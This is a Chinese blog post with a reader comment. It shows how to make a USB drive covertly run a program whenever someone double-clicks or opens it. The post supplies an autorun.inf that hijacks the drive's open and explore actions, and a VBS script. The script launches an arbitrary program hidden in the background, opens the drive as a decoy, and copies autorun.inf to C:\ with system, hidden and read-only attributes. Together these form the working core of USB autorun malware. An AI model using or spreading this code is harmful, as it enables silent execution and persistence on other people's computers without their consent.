双击U盘时既能运行程序又能打开U盘

作者:翼帆

思路:双击U盘时既能运行程序又能打开U盘

其实可以用批处理写,但会跳出cmd的黑框框,极为不爽,估计楼主的意思是用VBS,这样可以不闪。

想法不错,我们实现一下,Let's GO!

首先:autorun.inf,内容如下
它们的意思是不管你用双击,还是右键打开,还是资源管理器,都会运行我们的efan.vbs

[autorun]
OPEN=efan.vbs
shell\open=打开(&O)
shell\open\Command=efan.vbs
shell\open\Default=1
shell\explore=资源管理器(&X)
shell\explore\Command=efan.vbs

efan.vbs,内容如下:

set efan=wscript.createobject("wscript.shell")
''run后面的参数加0,就是在后台运行该程序
efan.run "你的程序",0
''打开当前U盘,不能加参数哦
efan.run(Left(WScript.ScriptFullName,3))

''你还可以拷贝到C盘下
efan.run "copy autorun.inf c:\",0
efan.run "attrib c:\autorun.inf +s +h +r",0

相关日志

抢楼还有机会... 抢座Rss 2.0或者 Trackback

  • i4421

    :roll: 现在杀毒软件看到什么都杀了

发表评论